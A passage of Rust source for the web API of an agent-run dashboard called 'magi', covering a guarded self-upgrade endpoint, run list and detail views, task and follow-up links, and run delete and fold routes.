2569    // A second upgrade while one is moving would replace the binary and
2570    // signal the handover again after `serve` already consumed the first
2571    // signal, leaving the process in `replaced` forever. Try-lock rather than
2572    // wait: a phone connection must not hang behind a GitHub round trip.
2573    let Ok(_gate) = Arc::clone(&ui.upgrade_gate).try_lock_owned() else {
2574        return Err(ApiError::conflict(
2575            "another request is already preparing an upgrade",
2576        ));
2577    };
2578    if ui.upgrade_spawned.load(std::sync::atomic::Ordering::SeqCst) {
2579        return Err(ApiError::conflict(
2580            "an upgrade is already in progress (this process started one and it \
2581             has not finished or failed yet)",
2582        ));
2583    }
2584    let recorded = updater::read_progress(&ui.home);
2585    if let Some(p) = upgrade_in_motion(recorded.as_ref()) {
2586        return Err(ApiError::conflict(format!(
2587            "an upgrade is already in progress (stage: {}, {} -> {}). If it \
2588             stays stuck, restart the deck; on start it settles a stale record.",
2589            p.stage.as_str(),
2590            p.from,
2591            p.to.as_deref().unwrap_or("?"),
2592        )));
2593    }
2594
2595    // The same kill switch the background check honours (`disabled_by_env`),
2596    // checked before anything else for the same reason it is read before the
2597    // config there: an operator who set `MAGI_NO_AUTOUPDATE` means "never
2598    // contact GitHub from this process", and a button press must not
2599    // override that any more than a broken `magi.toml` may.
2600    if crate::updater::disabled_by_env() {
2601        return Ok((
2602            StatusCode::OK,
2603            Json(UpgradeView {
2604                from: env!("CARGO_PKG_VERSION").to_owned(),
2605                to: None,
2606                parked: None,
2607                detail: format!(
2608                    "Automatic updates are disabled by {}. Nothing was parked \
2609                     and nothing restarted.",
2610                    crate::updater::NO_AUTOUPDATE_ENV
2611                ),
2612            }),
2613        ));
2614    }
2615
2616    // Asked before anything is disturbed. Restarting when there is nothing
2617    // to install is not a harmless no-op: it parks the run in flight and
2618    // drops every connection to pay for an upgrade that did not happen. A
2619    // probe against a deck already on the newest build did exactly that.
2620    let (cfg, _) = Config::discover(&ui.repo, None).unwrap_or_default();
2621    let from = env!("CARGO_PKG_VERSION").to_owned();
2622    let latest = match crate::updater::Checker::new(&cfg.update) {
2623        Some(checker) => checker
2624            .newer_release()
2625            .await
2626            .map_err(|e| ApiError::internal(format!("check for a release: {e:#}")))?,
2627        None => None,
2628    };
2629    let Some(latest) = latest else {
2630        return Ok((
2631            StatusCode::OK,
2632            Json(UpgradeView {
2633                from,
2634                to: None,
2635                parked: None,
2636                detail: "Already on the newest release. Nothing was parked \
2637                         and nothing restarted."
2638                    .to_owned(),
2639            }),
2640        ));
2641    };
2642
2643    // Parked before anything is replaced: a successor that came up while a
2644    // run was mid-node would find a run nobody is driving.
2645    let parked = ui.park_for_upgrade()?;
2646    let detail = match &parked {
2647        // Honest about the wait. A park takes effect at the *next* node
2648        // boundary, so a run mid-implement finishes that wave first - up to
2649        // `timeout_implement`, an hour by default. Saying "restarting now"
2650        // would make the deck look wedged for the rest of it.
2651        Some(run) => format!(
2652            "Run {} is parking at its next step, which can take as long as \
2653             the step it is on - up to an hour for an implement wave. The \
2654             deck replaces itself once it parks, comes back, and the loop \
2655             carries that run on from where it stopped. Nothing is lost if \
2656             you close this.",
2657            crate::run::short_of(run)
2658        ),
2659        None => "The deck replaces itself and comes back. Nothing was in \
2660                 flight to park."
2661            .to_owned(),
2662    };
2663
2664    // Recorded before the spawn, not inside it: the phone's next `/api/health`
2665    // poll must see a `Downloading` stage immediately, not whenever the
2666    // spawned task happens to get scheduled.
2667    let mut progress = updater::Progress::new(from.clone(), latest.tag_name.clone());
2668    progress.parked_run = parked.clone();
2669    // A failed write is logged, not returned: the loop is already parked
2670    // above, and bailing out here would leave it parked with no upgrade
2671    // spawned to hand over or resume it.
2672    updater::write_progress_logged(&ui.home, &progress);
2673
2674    let home = ui.home.clone();
2675    let looping = ui.looping();
2676    ui.upgrade_spawned
2677        .store(true, std::sync::atomic::Ordering::SeqCst);
2678    let spawned = Arc::clone(&ui.upgrade_spawned);
2679    tokio::spawn(async move {
2680        if let Err(e) = upgrade_and_restart(home.clone()).await {
2681            tracing::error!("the upgrade did not complete: {e:#}");
2682            lock_or_recover(&looping).resume_after_handover = false;
2683            // A failure of this attempt says nothing about a handover an
2684            // earlier request already has in flight; checked and written
2685            // under the progress lock.
2686            let _ = updater::fail_progress(&home, &format!("{e:#}"));
2687            // Released last: until the cleanup above is done, a retry must
2688            // not be able to park and record state this would then undo.
2689            spawned.store(false, std::sync::atomic::Ordering::SeqCst);
2690        }
2691    });
2692
2693    Ok((
2694        StatusCode::ACCEPTED,
2695        Json(UpgradeView {
2696            from,
2697            to: Some(latest.tag_name),
2698            parked,
2699            detail,
2700        }),
2701    ))
2702}
2703
2704/// Replace the binary, then ask [`serve`] to hand the address over.
2705///
2706/// Separated from the handler so the 202 is already on its way, and separated
2707/// from the spawn so the successor starts only after the listener is dropped.
2708async fn upgrade_and_restart(home: PathBuf) -> Result<()> {
2709    // `yes` and non-interactive: nobody is at a terminal, and a prompt would
2710    // hang the upgrade for as long as the process lives.
2711    crate::updater::run_self_update(true, false, true).await?;
2712    updater::log_step(&home, "binary replaced - recording the replaced stage");
2713    if let Some(mut progress) = updater::read_progress(&home) {
2714        progress.advance(updater::Stage::Replaced);
2715        updater::write_progress_logged(&home, &progress);
2716    }
2717    updater::log_step(&home, "upgrade_and_restart: signalling HANDOVER");
2718    HANDOVER.notify_one();
2719    updater::log_step(&home, "upgrade_and_restart: HANDOVER signalled");
2720    Ok(())
2721}
2722
2723/// One row in the run list.
2724///
2725/// The list route returns this rather than whole `RunState`s: the summary of a
2726/// run is a few hundred bytes and the state is megabytes, and the difference
2727/// is what makes the history usable on a mobile link.
2728#[derive(Debug, Serialize)]
2729struct RunSummary {
2730    id: String,
2731    short: String,
2732    status: String,
2733    done: bool,
2734    instruction: String,
2735    title: String,
2736    repo: String,
2737    repo_name: String,
2738    created_at: String,
2739    updated_at: String,
2740    candidates: usize,
2741    viable: usize,
2742    judges: usize,
2743    winner: Option<char>,
2744    reviews: usize,
2745    quota_losses: usize,
2746    event: Option<String>,
2747    /// The later attempt at the same task that replaced this one, if any.
2748    ///
2749    /// Two cards with one title is otherwise unreadable: this is what lets
2750    /// the deck say "superseded by 4043" on the older of the pair.
2751    superseded_by: Option<String>,
2752    /// Blocked on a question nobody has answered.
2753    ///
2754    /// Derived from the question store rather than stored on the run: an agent
2755    /// calling `magi ask` blocks mid-node, and writing a status from there
2756    /// would race the graph's own save of `run.json` and be overwritten at the
2757    /// next node boundary. Asking the store is always true and never races.
2758    waiting: bool,
2759    /// Whether the process recorded as driving this run can still be proven
2760    /// alive. The card uses a confirmed-dead non-terminal run as `stale`,
2761    /// rather than presenting its last graph node as still in flight.
2762    live: crate::run::Liveness,
2763    /// The land loop's last look at the pull request, when there is one.
2764    pr: Option<crate::run::PrRecord>,
2765    /// `status` is `"ready"`, but `[merge] mode = "none"` left it there by
2766    /// design — never picked up by the PR-polling merge watcher, unlike an
2767    /// ordinary `Ready` that may still be a live landing candidate. See
2768    /// [`RunState::unmerged_by_design`]. The front end reads this rather than
2769    /// re-deriving the same check from `status` and `merge.mode` itself.
2770    unmerged_by_design: bool,
2771    /// Who started the run, as the one label every surface shares; the
2772    /// "origin unknown" wording when the record predates origins.
2773    origin_label: String,
2774}
2775
2776impl RunSummary {
2777    fn of(state: &RunState, waiting: bool, live: crate::run::Liveness) -> Self {
2778        Self {
2779            id: state.id.clone(),
2780            short: state.short().to_owned(),
2781            status: status_word(state.status),
2782            done: state.status.done(),
2783            unmerged_by_design: state.unmerged_by_design(),
2784            instruction: state.instruction.clone(),
2785            title: title_from(&state.instruction, TITLE_MAX),
2786            repo: state.repo.display().to_string(),
2787            repo_name: state
2788                .repo
2789                .file_name()
2790                .map(|n| n.to_string_lossy().into_owned())
2791                .unwrap_or_default(),
2792            created_at: state.created_at.to_string(),
2793            updated_at: state.updated_at.to_string(),
2794            candidates: state.candidates.len(),
2795            viable: state.viable().len(),
2796            judges: state.config.graph.judges,
2797            winner: state.winner().map(|c| c.label),
2798            reviews: state.reviews.len(),
2799            quota_losses: state.quota.len(),
2800            event: state.events.last().map(|e| e.message.clone()),
2801            waiting,
2802            live,
2803            // Filled in by the list route, which is the only place that can
2804            // see a task's other attempts.
2805            superseded_by: None,
2806            pr: state.pr.clone(),
2807            origin_label: crate::run::origin_label(state.origin.as_ref()),
2808        }
2809    }
2810}
2811
2812/// `RunStatus` as the wire spells it. Every variant is one word, so this is
2813/// the same string `serde` writes for the status inside a full run.
2814fn status_word(status: RunStatus) -> String {
2815    // `RunStatus::as_str` rather than lowercasing the `Debug` spelling: this
2816    // was a third way of naming the same statuses, and one that changed
2817    // silently with a derive.
2818    status.as_str().to_owned()
2819}
2820
2821/// `?limit=`, clamped by the handler.
2822#[derive(Debug, Deserialize)]
2823struct ListQuery {
2824    #[serde(default)]
2825    limit: Option<usize>,
2826    /// Exact ids only; an empty value requests no rows (except queue blockers).
2827    ids: Option<String>,
2828}
2829
2830impl ListQuery {
2831    fn contains(&self, id: &str) -> bool {
2832        self.ids
2833            .as_ref()
2834            .is_none_or(|ids| ids.split(',').any(|wanted| wanted == id))
2835    }
2836}
2837
2838async fn runs_list(
2839    State(ui): State<Arc<Ui>>,
2840    Query(q): Query<ListQuery>,
2841) -> ApiResult<Json<Vec<RunSummary>>> {
2842    let limit = q.limit.unwrap_or(LIST_DEFAULT).min(LIST_MAX);
2843    blocking(move || {
2844        let (open_runs, claimed, superseded) = run_row_inputs(&ui);
2845        let states = run_ids(&ui.runs)
2846            .into_iter()
2847            // A run whose state cannot be read is skipped, not fatal: a run
2848            // killed mid-write must not blank the history of every other one.
2849            // The detail route still explains it, which is where an operator
2850            // asking "what happened to that run" ends up.
2851            .filter_map(|id| read_run(&ui.runs, &id).ok())
2852            .take(limit)
2853            .filter(|run| q.contains(&run.id));
2854        let probe = std::cell::RefCell::new(crate::proc::ProcProbe::real());
2855        let summaries = summarize(
2856            states,
2857            &open_runs,
2858            &claimed,
2859            &superseded,
2860            |p| probe.borrow_mut().status(p),
2861            |p| probe.borrow_mut().started_at(p),
2862        );
2863        Ok(Json(summaries))
2864    })
2865    .await
2866}
2867
2868/// Everything the per-run rows share, read once: runs with an open question,
2869/// runs a live daemon claims, and the superseded map. Asking per run re-read
2870/// every question file and the daemon status file for each of hundreds of
2871/// runs, and spawned a process probe per run on Windows.
2872fn run_row_inputs(ui: &Ui) -> (HashSet<String>, HashSet<String>, HashMap<String, String>) {
2873    let open_runs: HashSet<String> = ui
2874        .questions
2875        .list()
2876        .into_iter()
2877        .filter(|q| q.status.open())
2878        .map(|q| q.run)
2879        .collect();
2880    let claimed: HashSet<String> = crate::daemon::current_work(&ui.home, jiff::Timestamp::now())
2881        .into_iter()
2882        .map(|c| c.run)
2883        .collect();
2884    (open_runs, claimed, ui.queue.superseded())
2885}
2886
2887/// The rows of the run list, given everything that is shared between them.
2888///
2889/// Pure over its inputs so a test can count how often the process queries are
2890/// asked; `status_q` / `identity_q` are the queries [`RunState::liveness_with`]
2891/// takes, called at most once per run.
2892fn summarize<I, S, D>(
2893    states: I,
2894    open_runs: &HashSet<String>,
2895    claimed: &HashSet<String>,
2896    superseded: &HashMap<String, String>,
2897    mut status_q: S,
2898    mut identity_q: D,
2899) -> Vec<RunSummary>
2900where
2901    I: IntoIterator<Item = RunState>,
2902    S: FnMut(u32) -> Option<bool>,
2903    D: FnMut(u32) -> Option<String>,
2904{
2905    states
2906        .into_iter()
2907        .map(|state| {
2908            let waiting = open_runs.contains(&state.id);
2909            let live =
2910                state.liveness_with(claimed.contains(&state.id), &mut status_q, &mut identity_q);
2911            let mut row = RunSummary::of(&state, waiting, live);
2912            row.superseded_by = superseded
2913                .get(&state.id)
2914                .map(String::as_str)
2915                .map(crate::run::short_of)
2916                .map(str::to_owned);
2917            row
2918        })
2919        .collect()
2920}
2921
2922/// A run as the detail route hands it to the phone.
2923///
2924/// The whole state, flattened, plus `instruction_md`: the Task panel renders
2925/// the instruction as markdown, and the raw `instruction` field this struct
2926/// still carries (unchanged) is what a client wanting the exact bytes reads
2927/// instead.
2928#[derive(Debug, Serialize)]
2929struct RunDetailView {
2930    #[serde(flatten)]
2931    state: RunState,
2932    instruction_md: Vec<md::Node>,
2933    /// Agent-written prose of the run, parsed to markdown nodes. Shapes
2934    /// mirror the records they come from, index for index; the raw strings
2935    /// stay in `state` and decide whether a block is shown at all.
2936    #[serde(flatten)]
2937    prose_md: RunProseMd,
2938    /// Whether a process is actually still driving this run: `"live"`,
2939    /// `"dead"`, or `"unknown"` — see [`crate::run::Liveness`].
2940    ///
2941    /// `state.active` (flattened in above) is only ever cleared by the
2942    /// process that populated it; a killed one leaves its last wave's
2943    /// entries behind. Carrying this alongside is what lets the phone rail
2944    /// tell "this seat is still answering" from "this seat was still
2945    /// answering when whatever was driving this run died" without a second
2946    /// route — see `ActiveSeat`'s own docs for why the entry alone is not
2947    /// proof of either. A string rather than a bool on purpose: a daemon
2948    /// claim proves `"live"`, `driver_pid` answering dead proves `"dead"`,
2949    /// and neither proven is `"unknown"` — folding that third case into
2950    /// either end of a bool is exactly the wrong call for a phone screen an
2951    /// operator uses to decide whether to wait or to act.
2952    live: crate::run::Liveness,
2953    /// Same field and meaning as [`RunSummary::unmerged_by_design`] — kept
2954    /// alongside the flattened `state` rather than inside it, since
2955    /// `RunState` has no business knowing which of its own methods a caller
2956    /// wants serialized.
2957    unmerged_by_design: bool,
2958    /// Same field and meaning as [`RunSummary::done`]: whether the status is
2959    /// terminal. The client's `landView` keys on it, and the flattened state
2960    /// has no such field, so without it a finished run's stale `open` PR
2961    /// would be painted as live on the detail page.
2962    done: bool,
2963    /// Same field and meaning as [`RunSummary::superseded_by`] — the list
2964    /// route fills it from [`Queue::superseded`], the detail route from
2965    /// [`Queue::superseded_by`], and both read the same underlying task
2966    /// order. Without this the detail page could only ever show a red
2967    /// `BLOCKED`/`FAILED` chip on a run a later attempt had already finished,
2968    /// with nothing anywhere saying so — an operator opening it had no way
2969    /// to tell "this is done elsewhere" from "this still needs a retry".
2970    superseded_by: Option<String>,
2971    /// The task's current attempt, when this run is an older one — resolved
2972    /// from [`Queue::latest_attempt`] and this run's own state, not left for
2973    /// the client to derive.
2974    ///
2975    /// Three things a client cannot safely do on its own drove this onto the
2976    /// server: it has to name the chain's *current head*, not just the next
2977    /// attempt (`superseded_by` above), because an intermediate retry in a
2978    /// longer chain can itself still be unresolved; it has to resolve to a
2979    /// real id rather than a short id a client would have to guess a full id
2980    /// from, which is ambiguous the moment two runs share a suffix; and it
2981    /// has to read that head's own status directly, because whether a run
2982    /// list a client happens to have cached even contains that attempt
2983    /// depends on a page limit this route knows nothing about.
2984    latest_attempt: Option<LatestAttempt>,
2985    /// The queue task this run belongs to, so the detail page can link back
2986    /// to the task's own page. `None` for a run nobody queued (`magi run`).
2987    task: Option<TaskRef>,
2988    /// [`crate::run::Origin::label`], or the "origin unknown" wording for a
2989    /// run recorded before origins existed. `origin` itself (flattened in
2990    /// with `state`) is `null` in that case.
2991    origin_label: String,
2992}
2993
2994/// A task named from a run's detail page.
2995#[derive(Debug, Serialize)]
2996struct TaskRef {
2997    id: String,
2998    short: String,
2999    title: String,
3000    /// [`Source::label`], e.g. `chat@a1b2`.
3001    source_label: String,
3002    /// Where the task came from, when that place has a page; see [`source_link`].
3003    source_link: Option<SourceLink>,
3004    /// The task's own status (`TaskStatus::as_str`), independent of this run's.
3005    status: &'static str,
3006    attempts: usize,
3007    max_attempts: usize,
3008    /// This run is the last entry of the task's run list.
3009    is_latest: bool,
3010    /// The task's newest run, when it is not this one.
3011    latest: Option<RunBrief>,
3012    /// The run that finished a `done` task (merged, or already in the base).
3013    finished_by: Option<RunBrief>,
3014    /// The task is `done` but no run on record finished it: closed by hand.
3015    closed_by_hand: bool,
3016}
3017
3018/// The page that filed a task, as the UI links to it.
3019#[derive(Debug, PartialEq, Eq, Serialize)]
3020struct SourceLink {
3021    /// `chat` (a conversation) or `run` (a run's node).
3022    kind: &'static str,
3023    /// The full id, never the short one in the label.
3024    id: String,
3025    /// The hash route that opens it.
3026    href: String,
3027}
3028
3029/// Percent-encode everything outside the URL-unreserved set.
3030fn encode_segment(raw: &str) -> String {
3031    let mut out = String::with_capacity(raw.len());
3032    for b in raw.bytes() {
3033        if b.is_ascii_alphanumeric() || matches!(b, b'-' | b'.' | b'_' | b'~') {
3034            out.push(b as char);
3035        } else {
3036            out.push_str(&format!("%{b:02X}"));
3037        }
3038    }
3039    out
3040}
3041
3042/// The one place that decides where a task's source links to. A chat
3043/// conversation opens `#/chat/<id>`, any other agent node `#/runs/<id>`;
3044/// a person or an imported issue has no page, so no link.
3045fn source_link(source: &Source) -> Option<SourceLink> {
3046    let Source::Agent { run, node } = source else {
3047        return None;
3048    };
3049    let (kind, route) = if node == crate::queue::CHAT_NODE {
3050        ("chat", "chat")
3051    } else {
3052        ("run", "runs")
3053    };
3054    Some(SourceLink {
3055        kind,
3056        id: run.clone(),
3057        href: format!("#/{route}/{}", encode_segment(run)),
3058    })
3059}
3060
3061/// The parent task of a follow-up, when its file can still be read.
3062#[derive(Debug, Serialize, PartialEq)]
3063struct FollowUpParent {
3064    id: String,
3065    short: String,
3066    title: String,
3067    /// The parent's own status (`TaskStatus::as_str`).
3068    status: &'static str,
3069    href: String,
3070}
3071
3072/// The merged run a follow-up was filed from.
3073#[derive(Debug, Serialize, PartialEq)]
3074struct FollowUpRun {
3075    id: String,
3076    short: String,
3077    /// `None` when the run's record cannot be read.
3078    status: Option<&'static str>,
3079    /// `None` unless the record could be read: never a dead link.
3080    href: Option<String>,
3081}
3082
3083/// Where a follow-up task came from, resolved once per task page so the flow
3084/// chart and the detail block cannot disagree. See [`followup_origin`].
3085#[derive(Debug, Serialize, PartialEq)]
3086struct FollowUpOrigin {
3087    /// Present only when `origin_task` is set and that task still exists.
3088    parent: Option<FollowUpParent>,
3089    run: FollowUpRun,
3090    /// The merged pull request, verbatim. Not an href: the client passes it
3091    /// through `forgeUrl()` and renders text when that refuses it (the one
3092    /// exception to "the href rule is Rust's alone", since a forge URL is
3093    /// data from a record, not a route).
3094    pr: String,
3095    findings: Vec<String>,
3096    generation: u32,
3097}
3098
3099/// The one place that decides what a follow-up links to. A parent that cannot
3100/// be read (gone, or an id that names nothing) is `None`, never an error.
3101fn followup_origin(
3102    fu: &crate::queue::FollowUp,
3103    task: impl Fn(&str) -> Option<Task>,
3104    run: impl Fn(&str) -> Option<RunState>,
3105) -> FollowUpOrigin {
3106    let parent = fu
3107        .origin_task
3108        .as_deref()
3109        .and_then(task)
3110        .map(|t| FollowUpParent {
3111            short: t.short().to_owned(),
3112            href: format!("#/tasks/{}", encode_segment(&t.id)),
3113            status: t.status.as_str(),
3114            title: t.title,
3115            id: t.id,
3116        });
3117    let state = run(&fu.run);
3118    FollowUpOrigin {
3119        parent,
3120        run: FollowUpRun {
3121            short: run::short_of(&fu.run).to_owned(),
3122            status: state.as_ref().map(|s| s.status.as_str()),
3123            href: state
3124                .is_some()
3125                .then(|| format!("#/runs/{}", encode_segment(&fu.run))),
3126            id: fu.run.clone(),
3127        },
3128        pr: fu.pr.clone(),
3129        findings: fu.findings.clone(),
3130        generation: fu.generation,
3131    }
3132}
3133
3134/// Another run of the same task, as named from a run's detail page.
3135#[derive(Debug, Serialize)]
3136struct RunBrief {
3137    id: String,
3138    short: String,
3139    /// `None` when the run's record cannot be read.
3140    status: Option<&'static str>,
3141    /// The task-page wording for how that pass ended.
3142    outcome: String,
3143}
3144
3145/// The task's overall outcome as seen from `this_run`'s page, classified with
3146/// the same exits the task page's flowchart uses.
3147fn task_outcome(
3148    task: &Task,
3149    this_run: &str,
3150    max_attempts: usize,
3151    read: impl Fn(&str) -> Option<RunState>,
3152) -> TaskRef {
3153    let history = task_history(task, read);
3154    let brief = |h: &TaskRunView| RunBrief {
3155        id: h.id.clone(),
3156        short: h.short.clone(),
3157        status: h.status,
3158        outcome: h.exit.edge_label(h.status),
3159    };
3160    let is_latest = task.runs.last().is_none_or(|r| r == this_run);
3161    let latest = if is_latest {
3162        None
3163    } else {
3164        history.last().map(brief)
3165    };
3166    let done = task.status == TaskStatus::Done;
3167    let finished_by = done
3168        .then(|| {
3169            history
3170                .iter()
3171                .rev()
3172                .find(|h| {
3173                    matches!(
3174                        h.exit,
3175                        RunExit::Merged | RunExit::Ready | RunExit::AlreadyInBase
3176                    )
3177                })
3178                .map(brief)
3179        })
3180        .flatten();
3181    TaskRef {
3182        short: task.short().to_owned(),
3183        title: task.title.clone(),
3184        id: task.id.clone(),
3185        source_label: task.source.label(),
3186        source_link: source_link(&task.source),
3187        status: task.status.as_str(),
3188        attempts: task.attempts,
3189        max_attempts,
3190        is_latest,
3191        latest,
3192        closed_by_hand: done && finished_by.is_none(),
3193        finished_by,
3194    }
3195}
3196
3197/// The task's current attempt, as seen from an older one's detail page.
3198#[derive(Debug, Serialize)]
3199struct LatestAttempt {
3200    id: String,
3201    short: String,
3202    /// Whether this attempt itself settled with a result nobody needs to
3203    /// act on further. Deliberately narrow: only `Merged` and `Ready` count.
3204    /// `VerifiedNoop` is excluded on purpose — it is a candidate's own
3205    /// unconfirmed claim that no change was needed, which is exactly why it
3206    /// settles the task through `Held` rather than `Done` and still waits on
3207    /// a human to check the evidence; showing an older run as "finished
3208    /// elsewhere" on the strength of an unverified claim would bury the
3209    /// thing that still needs a look. `Blocked`/`Failed`/`Stalled` and every
3210    /// in-flight status are excluded because they are exactly the
3211    /// unresolved states this field exists to tell apart from a real finish.
3212    resolved: bool,
3213    /// The attempt's own recorded status, so the page can say where it
3214    /// stands while it is not resolved yet.
3215    status: RunStatus,
3216    /// Whether that status is terminal (nothing is still running it).
3217    done: bool,
3218}
3219
3220/// Markdown for the free-text prose of a run, parallel to `RunState`.
3221#[derive(Debug, Default, Serialize)]
3222struct RunProseMd {
3223    /// `None` when the run has no design deliberation.
3224    advice_md: Option<AdviceMd>,
3225    /// One entry per candidate: the summary.
3226    candidate_summaries_md: Vec<Vec<md::Node>>,
3227    /// One entry per review round, in `reviews` order.
3228    reviews_md: Vec<RoundMd>,
3229}
3230
3231#[derive(Debug, Default, Serialize)]
3232struct AdviceMd {
3233    synthesis: Vec<md::Node>,
3234    /// One per record; empty for a seat with no proposal.
3235    approaches: Vec<Vec<md::Node>>,
3236}
3237
3238#[derive(Debug, Default, Serialize)]
3239struct RoundMd {
3240    /// One per reviewer record.
3241    reviewers: Vec<ReviewerMd>,
3242    /// One per `reconsideration` entry: the reason.
3243    reconsideration: Vec<Vec<md::Node>>,
3244    fix: Option<FixMd>,
3245}
3246
3247#[derive(Debug, Default, Serialize)]
3248struct ReviewerMd {
3249    summary: Vec<md::Node>,
3250    /// One per finding, in recorded order (not the display order).
3251    findings: Vec<Vec<md::Node>>,
3252}
3253
3254#[derive(Debug, Default, Serialize)]
3255struct FixMd {
3256    notes: Vec<md::Node>,
3257    /// One per rejection: the argument.
3258    rejected: Vec<Vec<md::Node>>,
3259}
3260
3261/// Parse a run's agent-written prose; a pure function of the state.
3262fn run_prose_md(state: &RunState) -> RunProseMd {
3263    let nodes = |t: &str| md::to_nodes(t, &md::ImageBase::None);
3264    RunProseMd {
3265        advice_md: state.advice.as_ref().map(|a| AdviceMd {
3266            synthesis: nodes(a.synthesis.as_deref().unwrap_or("")),
3267            approaches: a
3268                .records
3269                .iter()
3270                .map(|r| nodes(r.proposal.as_ref().map_or("", |p| p.approach.as_str())))
3271                .collect(),
3272        }),
3273        candidate_summaries_md: state.candidates.iter().map(|c| nodes(&c.summary)).collect(),
3274        reviews_md: state
3275            .reviews
3276            .iter()
3277            .map(|round| RoundMd {
3278                reviewers: round
3279                    .reviews
3280                    .iter()
3281                    .map(|rec| ReviewerMd {
3282                        summary: nodes(&rec.summary),
3283                        findings: rec.findings.iter().map(|f| nodes(&f.detail)).collect(),
3284                    })
3285                    .collect(),
3286                reconsideration: round
3287                    .reconsideration
3288                    .iter()
3289                    .map(|rv| nodes(&rv.reason))
3290                    .collect(),
3291                fix: round.fix.as_ref().map(|fix| FixMd {
3292                    notes: nodes(&fix.notes),
3293                    rejected: fix.rejected.iter().map(|r| nodes(&r.why)).collect(),
3294                }),
3295            })
3296            .collect(),
3297    }
3298}
3299
3300impl RunDetailView {
3301    fn of(
3302        state: RunState,
3303        live: crate::run::Liveness,
3304        superseded_by: Option<String>,
3305        latest_attempt: Option<LatestAttempt>,
3306        task: Option<TaskRef>,
3307    ) -> Self {
3308        Self {
3309            instruction_md: md::to_nodes(&state.instruction, &md::ImageBase::None),
3310            prose_md: run_prose_md(&state),
3311            origin_label: crate::run::origin_label(state.origin.as_ref()),
3312            live,
3313            unmerged_by_design: state.unmerged_by_design(),
3314            done: state.status.done(),
3315            superseded_by,
3316            latest_attempt,
3317            task,
3318            state,
3319        }
3320    }
3321}
3322
3323async fn run_detail(
3324    State(ui): State<Arc<Ui>>,
3325    Path(id): Path<String>,
3326) -> ApiResult<Json<RunDetailView>> {
3327    blocking(move || {
3328        let id = resolve_run(&ui.runs, &id)?;
3329        let state = read_run(&ui.runs, &id)?;
3330        let daemon_claims = crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
3331        let live = state.liveness(daemon_claims);
3332        let superseded_by = ui
3333            .queue
3334            .superseded_by(&id)
3335            .as_deref()
3336            .map(crate::run::short_of)
3337            .map(str::to_owned);
3338        // Best-effort: an unreadable head (mid-write, or deleted) just means
3339        // this run's own status stands on its own, same as no later attempt
3340        // existing at all.
3341        let latest_attempt = ui.queue.latest_attempt(&id).and_then(|head_id| {
3342            read_run(&ui.runs, &head_id).ok().map(|head| LatestAttempt {
3343                short: head.short().to_owned(),
3344                resolved: matches!(head.status, RunStatus::Merged | RunStatus::Ready),
3345                status: head.status,
3346                done: head.status.done(),
3347                id: head.id,
3348            })
3349        });
3350        let max_attempts = daemon::Opts::default().max_attempts;
3351        let task = ui
3352            .queue
3353            .list()
3354            .into_iter()
3355            .find(|t| t.runs.contains(&id))
3356            .map(|t| task_outcome(&t, &id, max_attempts, |r| read_run(&ui.runs, r).ok()));
3357        Ok(Json(RunDetailView::of(
3358            state,
3359            live,
3360            superseded_by,
3361            latest_attempt,
3362            task,
3363        )))
3364    })
3365    .await
3366}
3367
3368/// `DELETE /api/runs/{id}`.
3369///
3370/// Remove a finished, folded run directory along with its artifacts.
3371/// Running runs and runs with unfolded candidate worktrees/branches cannot be
3372/// deleted. This never touches git worktrees or branches - except for a run
3373/// whose state this build cannot read at all, where there is no candidate
3374/// list to check and the wholesale removal `magi fold` already uses for that
3375/// case is the only meaningful "delete".
3376async fn run_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
3377    let (id, unreadable) = {
3378        let ui = Arc::clone(&ui);
3379        blocking(move || {
3380            let id = resolve_run(&ui.runs, &id)?;
3381            match read_run(&ui.runs, &id) {
3382                Ok(state) => {
3383                    let in_flight =
3384                        crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
3385                    state
3386                        .ensure_can_delete(in_flight)
3387                        .map_err(|e| ApiError::conflict(format!("{e:#}")))?;
3388                    let dir = ui.runs.join(&id);
3389                    std::fs::remove_dir_all(&dir)
3390                        .with_context(|| format!("remove run directory {}", dir.display()))?;
3391                    Ok((id, false))
3392                }
3393                Err(_) => {
3394                    // Unreadable: there is no candidate list to guard on, so
3395                    // a live daemon's claim is the only thing left to check -
3396                    // the same rule `run_fold` applies for the same reason.
3397                    if crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now()) {
3398                        return Err(ApiError::conflict(format!(
3399                            "run {id} is being worked on by a live daemon right now"
3400                        )));
3401                    }
3402                    Ok((id, true))
3403                }
3404            }
3405        })
3406        .await?
3407    };
3408    if unreadable {
3409        crate::clean::fold_unreadable(&ui.runs, &ui.worktrees_root, &id)
3410            .await
3411            .map_err(|e| ApiError::internal(format!("{e:#}")))?;
3412    }
3413    let ui = Arc::clone(&ui);
3414    let done = id.clone();
3415    blocking(move || {
3416        // The agent that asked died with the run, so an open question would
3417        // keep asking the operator for a decision nobody can deliver.
3418        ui.questions.abandon_for_run(
3419            &done,
3420            &format!("run {done} was deleted, so nothing is waiting for this answer"),
3421        )?;
3422        Ok(())
3423    })
3424    .await?;
3425    Ok(StatusCode::NO_CONTENT)
3426}
3427
3428/// `POST /api/runs/{id}/fold`.
3429///
3430/// Remove a run's candidate worktrees and branches, keeping its record.
3431///
3432/// This exists because the deck answered "delete this run" with *"Candidates
3433/// must be folded before deleting. Run `magi fold` first."* — a phone being
3434/// told to open a terminal, in the one product whose point is that it does
3435/// not need one. The runs an operator most wants gone are the stalled and
3436/// blocked ones, and those are exactly the runs still holding worktrees:
3437/// three of them here held 53 GB.
3438///
3439/// The winner's tree goes too. A fold is what someone asks for when they are
3440/// finished with a run, and leaving one tree behind would leave the delete
3441/// button disabled for the same reason as before.
3442///
3443/// Refused while a live daemon is working on the run, on the rule that guards
3444/// deletion: folding underneath a running agent would pull the tree it is
3445/// editing out from under it.
3446///
3447/// A run whose state this build cannot read at all falls back to
3448/// [`crate::clean::fold_unreadable`] - there is no candidate list to fold
3449/// selectively, so the whole record's worktree goes wholesale, exactly what
3450/// `magi fold` does on the command line for the same run.
3451async fn run_fold(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Json<FoldView>> {
3452    let (id, state) = {
3453        let ui = Arc::clone(&ui);
3454        blocking(move || {
3455            let id = resolve_run(&ui.runs, &id)?;
3456            if crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now()) {
3457                return Err(ApiError::conflict(format!(
3458                    "run {id} is being worked on by a live daemon right now"
3459                )));
3460            }
3461            let state = read_run(&ui.runs, &id).ok();
3462            Ok((id, state))
3463        })
